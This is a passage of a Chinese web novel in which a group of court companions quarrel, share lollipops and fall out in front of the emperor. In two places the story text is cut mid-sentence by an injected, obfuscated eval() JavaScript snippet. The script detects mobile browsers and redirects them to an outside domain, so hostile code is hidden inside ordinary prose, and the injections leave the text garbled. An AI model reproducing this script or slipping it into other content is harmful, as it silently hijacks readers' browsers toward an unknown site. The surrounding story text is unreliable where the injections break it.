“怕?怕什么?怕陛下?我又没做什么对不起陛下的亏心事儿,我怕陛下做什么?我对陛下忠心耿耿,天地可鉴!”花铁铁很奇怪,也很惊讶平安会这么问,一脸茫然的反问:“我很放肆吗?我感觉我表现得挺好的,起码比以前已经好很多了。嗯……好吧,我自己什么德行,我知道,你都这么说了,那我应该是很放肆的吧?但是陛下真的好和善好温柔,是一位仁德慈爱的君王呢!太子殿下也是!迄今为止,在我所有认识的人里,只有陛下和太子殿下,没有嫌弃我不懂规矩,指责过我行为有失,厌恶我言语不当,除此之外无一例外,连我最亲爱的师父也不例外。” “我也没有。”堂邑夫举手提醒。 花铁铁没好脸色地叫他滚。堂邑夫一脸痴汉模样,呵呵笑着听话的滚一边去,柳花郎赶紧跟上。 花铁铁侧头看着平安问:“倒是你为什么这么害怕陛下呢?”她这一问,把平安给问慌了,完全不知道怎么回答。 我赶紧接过话头,让平安不至窘迫,“人们对帝王的爱戴,取决于他们自己的意愿,而感到畏惧,则是取决于君王的意愿。陛下喜欢你,看中你,抬举你,不想让你感到畏惧,是以收敛帝王之气,宽容以待,这份心意恩典比天高比地厚,你自己也要有数,不好仗着恩宠,再闹得太过分了,有些人仗着宠爱会恃宠而骄疯狂试探底线,那种卑劣肤浅不懂分寸不知好歹不识抬举的人最叫人瞧不上,你可不要那么跌份儿。今儿我要是不把你扔出来,你就要下嘴亲了吧。” 花铁铁是那种很大气的性子,我的一番说辞有道理的地方她自然奉为戒言警句,作为提醒。而那些难听的词,她觉得只要她不去做,便和她无关,那么不管多臭的屎盆子就都扣不到她身上去。 她总是难得糊涂,难得清醒,换句话说就是极其拎得清,和她在一起有时候确实很闹腾,但我之所以那么那么喜欢她,还是在于她的格局坦荡,总让我感觉舒服轻松,毕竟不是每个人,都能让你毫无顾忌的畅所欲言。 “那倒不至于,我只会亲你好吧。”花铁铁宠溺地白了我一眼,凑过来又想亲我,我躲开了,她也不恼,继续道:“陛下对我的好,我心里自然明镜一般,我这条命以后就是我家天子的,你是我家天子的狗,我是我家天子的胭脂虎,我要征战沙场,大杀四方,为我家陛下保家卫国,开疆拓土,威震海内,噢对了,平安你为什么那么害怕我家陛下呢?你不要怕他好不好,刚才你抱着我家陛下的大腿瑟瑟发抖,他都给你整拘摆了,看着都有些不好意思了呢。” 花铁铁再次追问平安,使得平安又紧张起来。 我脑子一疼,唉,我得承认花铁铁脑子清醒的时候并不多,而且瞬间的清醒往往消耗这许多智慧,以至于她灵光乍现过后,总是又要糊涂好一段时间。 29. 做梦 我倚在平安怀里,让她放松,对着花铁铁缓缓道:“我妹妹对陛下并不是你理解的那种寻常意义上的惧怕,反而对陛下太崇拜太敬爱,视若神明一般,正是因为太敬畏了,所以才会诚惶诚恐,她的怕是生怕她自己行差踏错,言语不当冲撞亵渎天子,嗯……就是有点由爱故生怖由爱故生忧的意味,人嘛太过在意,就会乱了方寸。先前公主惧怕爹爹,平安还不乐意来着,维护得很,不比你逊色。” 平安觉得我总结的十分到位,甚得她心,连连点头。 我们正说着,就听见花厅后面柳花郎正对着堂邑夫蛐蛐花铁铁:“堂邑夫要不这双眼睛咱别要了,去找长安配点药,就是原来给我配的那种瞎眼药,你用用,药效好得很,什么感觉都没有,瞬间眼瞎,眼不见心不乱,所谓色即是空空即是色,你可别被花铁铁的美色魅惑误了终身,那就是个红粉骷髅,哎,你别拦我你听劝,你要早日醒悟,我是把你当亲兄弟,才劝你的,兄弟你也是样样拔尖儿的青年才俊,你能看上她,真的是你这辈子最大的污点儿。天涯何处无芳草,何必单恋……她都不是花,虽然她姓花,说真的,你可别等老了才悔悟,为时晚矣,趁年轻你赶紧悬崖勒马吧兄弟!” “……”堂邑夫自然知道我们习武之人耳力过人,就算柳花郎尽力最小声了,我们其实也能听的一清二楚。我们这边交谈声听了,更验证了这一点,所以他不断地给柳花郎使眼色,见柳花郎没会意还在不停地说,就伸手去捂他嘴巴。可柳花郎左躲右躲,还是把所有的话都说完了。 我对我家堂邑夫的人品很是认可:嗯,堂邑夫还真是够仗义,对得住柳花郎把他当兄弟看,这是救他命呢。 可耐不住有些人,非要作死。柳花郎以为堂邑夫是不想他在背后说心上人花铁铁的坏话,才来阻止他,后仰着脖子,躲开堂邑夫的手,一脸我真是为你好,我真把你当亲兄弟我才直言相劝的样子,暗搓搓地低声警告:“她生的是猴砸!” 堂邑夫咬了咬牙,表忠心一般坚决道:“她就是生虫子,我也至死不渝!” 花铁铁闻言高傲地抬着下巴,斜了堂邑夫一眼,朗声打断他们:“哎,我现在可是天子的人,你想都不要想,想也有罪。”说完,狠狠剜了柳花郎一眼。 柳花郎瞬间一个激灵,差点摔下台阶去。好在堂邑夫扶着,他这才知道刚才堂邑夫那般阻拦他的真正用意,满脸感激地对堂邑夫拱了拱手道了声谢,看了一眼我们这边,下一刻便迅速躲到堂邑夫另一侧,整个人完全被堂邑夫高大的身躯遮挡住。 我对花铁铁的话嗤之以鼻:“别不要脸,还想也有罪,就你?哼,想你干什么?啧,想你还真是有罪,自找罪受,自讨苦吃,自寻死路,我脑子一想到你,就崩溃,就爆炸,真遭罪呀。” 我最爱护短的,向来见不得堂邑夫老是被花铁铁这般对待,嗯……现在再勉强加一个柳花郎吧,唉,可这两人真是太弱了,一个痴迷花铁铁可以不要命,一个惧怕花铁铁吓得要死了,我都没什么底气,去为他们受到花铁铁如此恶劣的对待而讨公道。 花铁铁看了一眼堂邑夫,一脸得意的对我扬了扬下巴,“你说的那是你,你再有志气又能怎样?抵不住有人就老想我啊!” 被花铁铁当面揭挑软肋,我心有不甘地给了堂邑夫一个你给我长点脸,你给我硬气点的眼神。然而正对花铁铁一脸痴笑的堂邑夫接触到我的眼神后,却慌张躲开了。我脸色顿时一黑。 见此情形,花铁铁果然更神气了,完全支棱起来的样子,骄傲的像一只孔雀,头扬得老高,用鼻孔看着我哈哈一笑,故意夸张又做作地道:“嗷呦,不管怎么样,我现在都是花更衣了,哦,身份尊不尊贵不重要,有没有品阶也不重要,重要的是我现在是有身份的人了,不像有些人,比我来得早,活也干得多,整天救这个救那个忙得团团转,脚不离地的救了一周圈,嗷呦,结果怎么着?还是个什么都不是的白身!哦,说错了说错了,也不是什么都不是,好像是那个……什么来着?哦,对对对,是那个什么学宫学生的伴读书僮是吧?啧啧啧,真是拗口的很哟,这个身份一定很金贵吧?!” 我爆炸了,我绷不住了,投进平安怀里就仰头大哭:“啊!我什么都不是!我居然什么都不是!嘤嘤嘤……” 不等平安安慰我,花铁铁就“嘘!”的一嗓子把我呵停,她指着我蹙眉冷声警告道:“我家陛下正在忙公务,不可喧哗打扰。” 这会儿她倒是懂规矩了,我噤了声,翻着白眼瞪她。花铁铁却忽然憋着笑对我道:“长安你好不好不要翻白眼瞪我,你白眼翻得一点儿黑眼珠子都没有啦,看着怪好笑。” 那怎么没把你笑死!我剜了她一眼,收回视线。 花铁铁又不要脸不要腚地凑到我肩头,柔声道:“长安呐,你以后能不能换一个哭法,你每次哭,第一声都先转一个弯儿,我可受不了了,我都忍不住想揍……” “你就不能不把我惹哭吗?”我真是无语了。我哭也是错吗,错的难道不是惹我哭的你吗?还嫌我哭的时候转弯,还想揍我?!我一副真是人不要脸,天下无敌的样子,狠狠瞪着花铁铁。 平安怕我们又闹起来,便赶紧岔开话题,说月上柳梢头,真美。月亮是挺好看的,我们五个排排坐,安安静静地赏月,我坐在中间,左右是叫花铁铁和平安,平安身侧是柳花郎,花铁铁身侧是堂邑夫…… 才安静了一会儿,花铁铁想起什么事儿一般,突然开口说我身边的人都不顶事儿,说我真正能依靠的只有她,“等我以后当了大将军,你就来我身边儿做个军师吧。你放心,我指定对你好!宠着你,惯着你,你要什么,我给什么。” 这跟坏男人画大饼骗小姑娘身子有什么区别,花铁铁我就问你,你说这话你信吗?还宠着我惯着我,我要什么你给什么?我特么都给你折腾死了,气死了,我要你滚,你一次都没滚成?还想让我跟你做军师?做梦去吧 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我内心火焰正盛,却不料花铁铁还有更作死的言论:“哎,我可是苟富贵不相忘,想着等我好了不能忘了你,得好好提拔提拔你,我多仗义啊,你可别不识好歹哈,你病成这幅样子(还是个女扮男装),从政从军都(没戏)……有阻力,谁心里没数啊(若非如此,你早被上位者重用了,何至于到现在都没个像样的职位),也就我不嫌弃你,除了我,你还能跟着谁建功立业去?” “滚滚滚!” 平安见我像个炸毛狂吠的小狗子,赶紧把我抱在怀里,像哄小宝宝一样,用手拍着我的后背,轻声细语安抚我。 我知道花铁铁的意思,她想说我们都是要决心干一番大事儿,不如双剑合璧,共建花家军,她出人出力,我出谋划策,打着她的名号做事业,功成名就,她绝对不亏待我。我倒不是不相信她的人品和承诺,但以她为主我为辅,让我屈居于她,不可能!绝对不可能 哼!简直痴心妄想,我咬着后槽牙,瞪了一眼花铁铁,表示坚决不从,再不理会她。小小身体缩在平安怀里,越发难受。 御膳房布膳的宫人们,已经在逐月轩正堂忙碌起来,饭菜的香气,让我无心再与花铁铁纠缠。只向月亮许愿:陛下、太子赶紧忙完政务,早点开饭…… 晚膳后,我获得一个身份——药郎。因我擅长医术,平时伺候汤药,于是天子嘉奖恩赐我做个药郎,侍奉左右。 药郎属于郎官,郎官是加官的一种,负责上位者饮食起居,执戟警卫等。汉宫的郎官一般有议郎,中郎,侍郎等,并无药郎一职,是刘景临时想的,为我单独创设的这么一个身份,倒也荣光,但其实和花铁铁的“更衣”一个样,毫无品阶。 平安不懂,为什么不让我做医郎,我解释说,医郎隶属太医院,倒是有品阶,还有俸禄,但是担任医郎就得在太医院当值,各宫里的上位者们都得伺候,太后一道懿旨就可以把我拴在长乐宫了。所以医郎这种官身,对我来说没什么好处,不如做个郎官,常伴刘景和太子左右,来的实在。 虽然都有了身份,但我跟花铁铁还是“水火不容”的样子,吵吵闹闹,喋喋不休。她唤我毒药郎,我叫她破更衣。 30. 棒棒糖 因为丛芳园小厨房需要重修,我们移居到潇湘馆,潇湘馆比丛芳园大了不止一半,住起来更加宽敞舒适。 为了方便我随时医治,七皇子刘橡和齐王刘樟,以及惠王也一同跟着搬过来,分居到潇湘馆各个院落小住。 昨夜里我和堂邑夫为了给七皇子寻药,在外头忙了一晚上,第二天,我一直睡到艳阳高照,起来以后正好赶上午膳,席间只顾着埋头吃饭,如何也不理会上赶着献殷勤的花铁铁。 潇湘馆的院落很大,竹林茂密葱郁,饭后我们在竹荫里散步,纳凉。平安教刘橡翻绳玩,齐王惠王依旧下棋品茗,我在一边儿观战。 花铁铁见我还在生她气不理她,凑到我身边来,从怀里摸索了一阵,掏出一个奇怪的像敲鼓的小锤子一样的东西,平安惊奇地道:“铁铁,你哪来的棒棒糖啊?” 刘橡马上好奇地问:“棒棒糖是什么?” 花铁铁说她是个有礼数的人,给我道歉,不能空着手,特意找吹糖人的货郎做的。她说先前听平安说吹的糖人不卫生,于是就叫货郎直接把糖绕在竹签顶端,做成了这样子。“棒棒糖,这名字倒贴切,以后就叫棒棒糖啦。”说着,花铁铁将棒棒糖递到我眼前,满脸堆笑讨好道:“呐,给你吃。” “不要。”我冷声拒绝。 只有一个棒棒糖,刘橡不会和我抢的,但是听到我不要,他立即兴奋地两眼放光,满是期待。 “哟,不要?!”花铁铁大吃一惊,实在想不到我会拒绝,“这是糖!”花铁铁强调道,旋即眼睛一转,洞悉一切的样子,眯着眼道:“喂,长安,你偷吃糖啦?!” “没有!”我矢口否认,心头一虚。 “没……有?”花铁铁拉着长音反问,显然是一个字都不信的,“前儿个,那半块糖,我都咬了一大半了,你还给吃了,平安抠都抠不出来。现在有糖,你竟不吃?”花铁铁走到平安身边,轻声道:“平安,你可注意着点哈,小野猫子怕是溜出去偷了野食儿,不仅吃饱了,怕是给糖的那人还承诺以后还有,如今她腰杆子才这般硬的,这是绕过你了,以后她可不缺糖了。” 我蹙着眉头,急切地道:“你胡说八道什么?我最听我妹妹的话了。”说完我继续看齐王惠王对弈,见他们似乎被打断,各有迟疑,便催促起来。 “哼!”花铁铁白了我一眼,附在平安耳边低语,怕我偷听,还用手捂着:“你瞧她那样子,我要真冤枉了她,她早炸了。平安,我三句话给她套出来,明明白白的,你信不信?” 平安用团扇遮面,莞尔一笑,点点头,却伸手阻拦:“你别……” 平安还未说完话,花铁铁已经对着我朗声道:“齐王?” 齐王被突然点名,棋子差点没拿稳。 “……”我不做声。 花铁铁了然地“啊……”了一声,然后玩味地笑着,坏坏地道:“惠王!” “不是!”我语气坚定,果断否认。 惠王看了看我,又看了看花铁铁和平安,勾唇微微一笑,随意落了一子。齐王的心绪似乎被什么东西扰乱,抬头看了看已经全然无心下棋的堂兄,也随意落了一子。 我等了半天,不见花铁铁继续“审问”,便有些按捺不住好奇,侧目看着她道:“怎么不问了?” “哟,这是想好怎么骗我了?”花铁铁乐了,对我了如指掌,四拿八稳的样子。 “没有……”我慌了一下,旋而故作镇定,“你倒是问啊。”不然我编好的瞎话,可不就白瞎啦? “还问什么啊?都破案了。”花铁铁畅快极了,“瞎话编得再好,有什么用?平安你看,三句我都没用上,啊哈哈哈……” 众人忍俊不禁,都跟着笑了起来,除了我和刘橡,刘橡弱弱地举手问我:“长安,那个棒棒糖你要是不吃,给我行吗?” 花铁铁不等我应答,就直接递给了刘橡,“吃吧吃吧。”刘橡开心地接过去,欢喜地吃起来,甜蜜满足的样子,我见了顿时馋的不行,一下子就后悔了,忍不住吞了吞口水。 平安起身把我拉过去,食指刮了一下我的小鼻子,轻声道:“惠王给的那是赏赐,你吃也没啥,但是往后再有赏赐,你得先交给我保管,想吃的时候找我,不能绕过我去,这要是权权由你自己做主,你还有够啊?到时候你这小牙牙,不等花铁铁掰,只管惹你生场气,咬一下,就全都碎了。” “……那不就是没收吗?你肯定不会给我吃的,也别麻烦惠王给了。”我低着头失落极了,说着抬眼看了看惠王。惠王抿唇,宠溺一笑,这是要我放心,那晚承诺依旧的意思。 “呐,给她吃吧。”花铁铁从怀里拿出一个小袋子,给了平安。 平安接过去,打开一看,道:“啊,好多……怎么都碎了?”平安翻了翻,却见几乎没有整根的棒棒糖了,好一点的也残缺不全。找了好半天,才拿出一根还算像样的,塞进我的小嘴巴里。 嗯,好甜,好好吃。 “昨个从宫墙摔下来的时候压的啊。就剩七皇子那根儿是好的了。”花铁铁瞥了瞥正陶醉在甜蜜中的我,接着道:“身体发肤受之父母,我从小油皮都没破过一点,昨个从那么高的墙头上摔下来,我就是再不要脸也不至于当着这么多男人的面宽衣检查,还不是怀里藏着给这小王八道歉用的糖果啊。我当时都给疼傻了。” 平安看着眼前稀碎的棒棒糖,思及这小袋子放的位置,想象若自己怀中装着这东西,从高处摔落的情形,顿时一个激灵,这些棒棒糖,可是用女人最柔软的地方,生生压碎的啊。 平安感同身受地捂了捂胸口,同情地看着花铁铁:“铁铁,你辛苦了,一定很疼吧?” “哎,疼不疼的无所谓,就是都给压碎了。”花铁铁很可惜的样子,接着说她当时着急检查,就是看看这些棒棒糖怎么样了,顺便看看那些竹签子,有没有刺破袋子,扎坏她,还唰唰唰地朝自己胸口比划着,说真要是给她扎成刺猬了,她就不活了,结局就是另一个样了。 本来应该很是伤感,平安却不自觉脑补了一下两个□□插满棒棒糖的画面,竟没忍住噗嗤一笑,又瞬间羞涩愧疚,忙用整团扇遮住整个红透的芙蓉美靥。 花铁铁只见我吃糖吃得投入,对她的“遭遇”竟不闻不问,问心无愧,就恼火地在我头上狠狠敲了一个脑瓜崩。我……愣了一下,继续吃糖,毕竟拿人手短,吃人嘴短,弹就弹吧,无所谓。 正在这时,潇湘馆外,有黄门朗声高呼:“皇上驾到!” 众人纷纷迎出去接驾。跪地行礼,吉语问安之时,花铁铁又状况百出,不是跪慢了,起早了,就是跟不上溜儿,众人异口同声,就她是个例外,听着乱七八糟,像是醉酒未醒,胡说八道。 刘景哈哈大笑,抬手叫我们平身,花铁铁满脸喜色,迅速起身,上前一手扶住刘景,一手拿着帕子擦着刘景额头和脸颊上并不存在的汗,哈巴狗似的:“陛下陛下你可来了,你忙完公务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492009|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啦,累不累?叫药郎长安给你调理调理,推拿按摩,松快松快?” 闻言,我嘴里的原本就残缺不全的棒棒糖,瞬间被我咬碎,发出咯咯的脆响。众人听了都是一怔,随后在刘景的带领下,哈哈笑起来。花铁铁倒是一副自家孩子不争气,上不得台面的样子,蹙眉看着我尽是埋怨。 刘景温柔地向我伸出另一只手,我赶紧欢喜上前,接住这份“恩宠”。 见后面随行宫人中,有乐府乐人,由协律郎柳延年带领着,我心中就有数了。把棒棒糖的竹签子一扔,将嘴里的碎糖全都储到一侧,鼓着腮帮子,仰头问:“陛下还是先推拿再足疗?” 刘竟精神头很足,兴致也高,只道:不忙,这潇湘馆他好些年没来了,先逛逛园子。 于是一行人闲庭信步,正走着,刘景腰间的香囊忽然掉了,身为花更衣的花铁铁,顿时觉得来活了,眼疾手快,赶紧捡起来,跪在刘景身前去挂。 想着刚才她狗仗人势对我指手画脚,越俎代庖似的一顿差遣安排,膈应我,我就立即抓住机会,“对对对,这是必须花更衣的分内之事儿,来来来,把香囊给陛下挂上。” 花铁铁果然被膈应到了,却和刚才的我一样,只敢咬咬后槽牙。 花铁铁就不是个会伺候人的人,慌里慌张的怎么也挂不好。这香囊的位置又颇为尴尬,她就是再不要脸,这会儿也窘迫起来了,刘景也不自在起来,他是个天子,有顾忌花铁铁面子,若这时候打圆场说,好了好了不用挂了,倒不是给花铁铁台阶下,反而是坐实了花铁铁是个笨手笨脚连个香囊也不会挂的蠢货。 于是刘景一边四顾周围景色,一边耐心等待花铁铁忙完。 我自然乐得看花铁铁出糗,善解人意的平安却很是仗义的上前解围,她压制着内心对上位者十分敬畏胆怯,浅浅笑着来到花铁铁身边跪在刘景身前,接过花铁铁手里的香囊,轻柔道:“你看腰带里面,这里有一个小扣子,把香囊的绳带像这样套过去,一扣,呐,这样就好啦。” 平安温柔地讲解示范,说着就将香囊挂好了。 花铁铁像打开了新世界,满脸欣喜,一把握住平安的双手,崇拜不已地夸赞道:“平安你好棒,好聪明好厉害,你怎么什么都会?” 我啧了一声,皱了皱鼻子,一边将平安扶起来,一边居高临下对花铁铁不屑道:“你应该反思自己为什么不会,而不是反问我妹妹什么都会!” 花铁铁顾不得和平安一起平身,只一心和我犟嘴,仰头正视我,很是不服:“术业有专攻,你又不是不知道我功夫都用在哪儿了,从小到大我一天到晚一门心思都在练功上,自是摆弄不清这些个男人的腰带啊香囊啊什么的,我哪有时间研究这个!” “铁铁!”平安闻言瞬间花容失色,可面前的就是天子,她只能隐忍着。 我亦登时明白平安窘促,花铁铁只是为了给自己的笨拙找借口找理由开脱,却不想把平安影射的无地自容。 我愤怒地指着花铁铁的鼻尖儿,厉声道:“术业有专攻?花铁铁卖弄你那点个破墨水,胡说什么?你妹妹才一天到晚一门心思都在研究男人的腰带和香囊!” “长安!!” 怒上心头,口不择言的我,霎时被这一声点名叫得脸色苍白,自知失言却为时已晚,但见平安面无血色,寄颜无所,含着委屈难堪的泪水,贝齿咬着嘴唇,羞愤地绞着手里的帕子,对我怨也不是,斥也不是,终是掩面转身跑开了。 31. 生气 刘橡含着棒棒糖,煽动着宽袖,像一只蝴蝶一样,一边喊着姐姐别哭,姐姐等等我,一边跟着平安一起跑开。 平安一手拂面拭泪,一手提裙,发带飘飘,绾着青丝,衣袂翩翩,身姿曼妙,单单是一个背影,也让人浮想联翩,让人不由的以为是位天家的仙子,到红尘来玩,不慎露了行迹,被凡人发现,像一只受惊的小鹿,落荒而逃……刘橡在后面追着,倒也应景。 众人看着平安远去的倩影,一时沉醉,良久,只听花铁铁由衷地赞叹道:“哎,平安跑起来的样子真好看哈,真美啊,天上的仙子也就是这个样子了吧?哎长安,你说我这般模样跑起来是不是也挺好看的?哎等平安气消了,我和她一起跑跑,你看看我俩谁跑得好看。” 花铁铁说着,还学平安一手提裙,一手遮面拭泪的样子,来回跑了两下。我看了有点想哕,要说花铁铁也算是个顶尖美人,自然而然就挺漂亮,可若眼下这般做作,僵硬着身子硬要学平安,就有效颦之恶了。 我心里正因为刚才口不择言误伤妹妹难受着,闻言心头又是一堵,白了一眼没心没肺地花铁铁,冷声道:“鸟不跟鱼比游泳,鱼不跟鸟比飞翔?” 花铁铁跑回来,一边同我扶着刘景继续散步,一边侧头看着我问道:“是说鱼会游泳,鸟会飞翔,我和平安各有千秋?” 啧,美而自知的花铁铁,还真是乐观自信,开朗阳光,什么都能往好了理解。 我没好气地哼了一声,道:“别放屁了,你凭什么跟我妹妹比?平安和你,云泥之别,天渊之差。她要脸你不要脸,你俩有什么可比性?非要比,你连我妹妹一根儿头发丝都比不上。” 花铁铁啧了一声,“哟,这是怨上我了,你说的比我说的还伤人,你还怨上我了!?” 我自觉理亏,弱弱的说了一声“滚!”便不再理她。 花铁铁跟刘景撒娇埋怨我说话不中听,又爱计较,让刘景好好管管我这条不识好歹,不通人性的小狗子。这种女儿家家拌嘴斗气的小事,刘景就当个乐子,呵呵一笑也就过了。 忽然花铁铁眼角坏笑一闪,好似对平安刚才的美好很是回味样子,却语带惋惜道:“唉,平安生得可真是好看哈,我也好看,就是长安,哎长安……你说你要是长大了,咱们仨一起多……” 我就知道她憋不出身好屁来,天生喜欢哪壶不开提哪壶,“长大”两个字眼听得我心头一揪生疼生疼的,顿时火冒三丈,厉声打断她,“故意的是吧?我再也不要理你了,滚……”要不是天子身前,我肯定是要出手打她的。 说完,我松开刘景的大手,一溜小跑,跑去找我妹妹。 花铁铁对我的言行有些疑惑茫然,“嗯?喂,那到底是谁滚啊?哎呀呀呀呀呀呀,跑起来跟黔灵山的小猴子似的,啧啧啧啧……”花铁铁望着小小的我,撩着小小的膀子,倒腾着短短的小腿,一溜烟窜没影儿了。 花铁铁觉得同样是跑,如果平安是一道风景的话,那我就是那个煞风景,她忽然就明白了什么是所谓的“云泥之别,天渊之差”,不禁感慨一番。 最后下了定论,“还是就我跟平安俩吧。长安就……还是算了吧,这也幸好是没长大,多少还能占个小巧可爱。”花铁铁一脸好兴致被破坏的样子,摇着头啧了啧,忽然眼睛一转,道:“陛下,我给她俩惹生气了,我去哄哄。” 花铁铁说完,却站着不动,仰着面容姣好的脸,一双美目直直地看着风驰俊朗高大伟岸,眉眼含笑心情绝好的刘景。 良久,刘景才意识到,花铁铁的陈述句并不是在陈述,当然也不是在商量,而是在认认真真地启禀,并等候他的恩准,刘景忍不住勾唇,眼底笑意更甚,“哦,你去吧。” 花铁铁得到许可,有些兴奋欢喜,跑出去两步,又“哦”了一声,转身回来,习惯性地抱拳行礼,双手还未合拳,便觉不妥,又试着行福身跪安礼,却不知道手该放在哪边,来回别扭地倒腾着。 刘景忍俊不禁,呵呵乐着,摆了摆手,“爱卿不必多礼,去吧,去吧。” 花铁铁还是坚持把礼行完,才转身跑开,众人自然又是一阵恍惚…… 想说,其实花铁铁也完全没有必要,忽然非要守这个君前之仪,可以和我们姊妹两个一样,直接跑就完了。 花铁铁七拐八拐,拐进我们居住的园子,远远就看见平安气哄哄地端着貂儿的软窝走在前面,我跟在后面,胸前挂着我自己的小包裹,一左一右斜跨着两个巨大的包袱,身后还背着一个中等的包袱。 花铁铁见此情形就哈哈起来,边走过来,边朗声道:“呦呦呦,谁家的行李长腿儿了嗳,会自己走啊。” 我仰起头,蹙眉直视她,不悦地回怼,“你说谁长腿儿了?!” “行李啊。” 我竟无言以对。 平安没忍住嗯的一声笑出来,随即轻轻咳着,测过身去,用貂儿的软窝挡住脸,掩饰尴尬。 “你怎么那么可爱。”这话不知道是说我妹妹还是说得我,花铁铁走上前来,从糖袋子里找出一根破碎的棒棒糖,不由分说地塞我嘴里。 刚才忙着接驾,花铁铁给的那一小袋子碎成渣渣棒棒糖,平安给放在竹林里方才乘凉休憩的石桌上,忘拿了,花铁铁倒是有心,把糖果袋子递给平安,跟她道歉。平安将糖袋子收好,却依旧噘着嘴巴,一脸气没消别惹她的样子。 我道,我妹妹是最良善心软的人,连我的气都不生了,自然也不会生她气了。花铁铁大喜,“那还走什么啊?赶紧回屋放行李吧,长安?” 我含着棒棒糖,应和地点点头,转身就要回寝殿放行李。 花铁铁跟着我身边,不禁感叹,平安动作真快,多大一会儿功夫,就收拾好了这么些行李。我吃着糖含糊道,生气得女人都很麻利。花铁铁看了看脸色不善的平安,缩了缩脖子,示意我们两个还是少说话为妙。 想着刚才平安收拾行李,刘橡嚷嚷要跟我们一起出宫,这会儿回他院子拿他的灵根去了,既然决定不走了,继续住下,就得赶紧过去和他知会一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511851|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,别让他误会我们骗他,便加快了脚步,谁知…… “不行!”平安见我被这么轻易就花铁铁收买了,显然是不中用了,便抱着软窝,快步过来,挡在我身前,拦住去路,又伸着脖子,扬声对着园子外头喊了几声,唤来柳花郎。 须臾,只见柳花郎慌里慌张地跑进园子来,问叫他干什么?平安让他赶紧快过来帮忙拿行李,好送她回家。 花铁铁茫然又怯怯地看着平安,低声对我嘟囔道:“你不说你妹妹不生气了吗,那怎么还……”她虽然同为女子,但更多时候活得像个男人,对女人其实是不懂的。 我也一脸如坠烟雾,道:“不道啊!”其实我心里跟明镜似的,平安向来脸皮子薄,刚才在这么多人面前出糗,这里她断然是住不下去了。 “哎妈呀,长安,我都看见这堆包袱里面还有个你,长安你可真能啊,这包袱可不能这样背啊,一个包袱这般斜挎着没事儿,两个包袱这样一左一右的斜跨,你这小细脖子容易勒不喘气儿喽,来来来,给我吧给我……”柳花郎跑过来,绕开花铁铁那边,将我身上其中一个大包袱拿下来,说着就向后一甩,往肩上扛,谁知许是用力过度,或者错误的估算了包袱的重量,总之是没收好劲儿,整个人顺着包袱转了大半圈,然后“啊”的一声,摔倒在地。 我忍不住抖了抖肩头,最后哈哈笑起来,花铁铁倒一点都不想笑,她只觉得柳花郎笨得要死愚蠢至极,甚是嫌弃,她实在想不明白,当初自己为什么失心疯一般死乞白赖的打他主意。 平安怀里抱着貂儿的软窝,腾不出手来,担心不已地蹲在柳花郎身侧询问摔着没?面带愠色,催促我别笑了,赶紧扶柳花郎起身。 花铁铁不等我行动,揪住我脖颈子,叫我在一边好好吃糖,不许我去帮那废物的忙,对柳花郎嗤之以鼻道:“我从那么高的地方摔下来都没事,一个大男人平地儿躺能摔死吗?” 柳花郎摔那一下,当然摔不死,但挺丢人的,这会儿直接躺在包袱上,用宽袖遮着脸嘤嘤,这让花铁铁越发瞧不上了。 “你瞅瞅你找的帮手!?”花铁铁略带嫌弃地对平安说完,便觉不妥,自知不该把对柳花郎的态度一并带到平安这里,随即软了语气,不好意思地柔声道:“平安,我你,你别,别生气啦,我以后说话小心些。你别走哇,住宫里多好啊,翡翠又不在你身边儿做伴儿了,你回去就你一个人,一个人住,多吓人呐,你不怕啊?” 平安心里是有些怕的,但她是要脸面的姑娘,她宁愿自己一个人独自害怕,也不愿意继续在一个颜面尽失的地方焦灼,硬着头皮道:“有花郎呢。” “有他?!……”花铁铁撇了一眼好不容易趴起身来的柳花郎,憋了一下,道:“他有什么用!?连个包袱都背不上!再说他平时还得在宫里当值,也就休沐的时候回去,平时根本顾不上你,说到底不还是你一个人吗?你一个如花似玉的美人独居,一旦被坏人盯上惦记上,多不安全啊。就算他天天在家有屁用啊,手无缚鸡之力能干什么?” 32. 从了 平安明显松动,花铁铁见势乘胜追击,对平安动之以情,晓之以理,“你那点小墙能和这宫墙比吗?随便一个登徒子,半夜轻轻一翻就进去了,你喊他来救,他还得穿衣起身,摸黑点灯,从他院子出去再到你院子,可巧你那院子还锁着门,你又正被歹人纠缠着,哪里赶得及给他开门放他进来啊,他就只能翻墙,那可就废了事喽,等他赶到,歹人都打完桩子了,提上…… “打完桩子?什么打桩子,打什么桩子?!”平安感觉脑筋有些跟不上。 “哎呀就是那种事。”花铁铁被打断有些急不可耐地随口解释道。 平安懵了一下,旋即想到了什么,又不太敢确定的样子。 “对就是你想的那个。”花铁铁落实完平安的想法,接着刚才的话,继续道:“等他赶到,歹人都提上裤子要走啦,那不什么都晚了吗,你也知道那种事情男人都很快的。” 柳花郎闻言,嘴角一抽,想要反驳,却破天荒的忍住了。我暗自庆幸他幸好没说,不然花铁铁铁定要他当场证明他是慢是快。 可柳花郎的神情脸色,已然被花铁铁尽收眼底,瞬间想起当初他服了催~情~药以后,宁死不屈地在自己眼前干的那些事儿,心中对他的成见更甚,于是就起了坏心思,要捉弄柳花郎一把,继而道:“结果歹人一看,哟,这男的也挺俊嗳,都送上门儿了,就别浪费了,一个桩子是打,两个桩子也是,干脆男女通吃一起拿下吧!到时候……” 